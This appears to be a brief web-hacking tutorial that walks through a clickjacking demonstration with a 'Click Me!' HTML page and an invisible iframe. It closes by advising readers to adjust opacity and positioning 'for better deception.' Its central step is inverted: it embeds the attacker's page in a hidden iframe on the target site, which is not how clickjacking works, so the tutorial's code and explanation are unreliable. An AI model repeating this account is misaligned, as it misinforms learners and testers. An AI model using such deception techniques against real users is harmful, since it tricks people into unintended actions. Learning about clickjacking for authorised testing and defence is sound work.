Web Hacking

Clickjacking Attack Tutorial

Learn what clickjacking attack with examples.



Introduction

Clickjacking is a technique where an attacker tricks users into clicking on elements unknowingly. Follow the steps below to simulate a clickjacking attack:

1. Identify a Target Website

Select a website you have permission to test. This tutorial assumes you have explicit consent to perform this demonstration.

2. Create a Malicious Page

Create a new HTML page with malicious content that you want users to interact with. For example:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Click Me!</title>
  <style>
    /* Style your malicious content */
    body { display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
    #maliciousContent { font-size: 24px; color: red; }
  </style>
</head>
<body>
  <div id="maliciousContent">Click Me!</div>
</body>
</html>

3. Embed the Malicious Page

Embed the malicious page within an iframe on the target website:

<iframe src="malicious-page.html" width="100%" height="100%" style="opacity: 0;">
</iframe>

4. Test and Refine

Test the clickjacking attack on different browsers. Adjust the opacity and positioning of the iframe for better deception.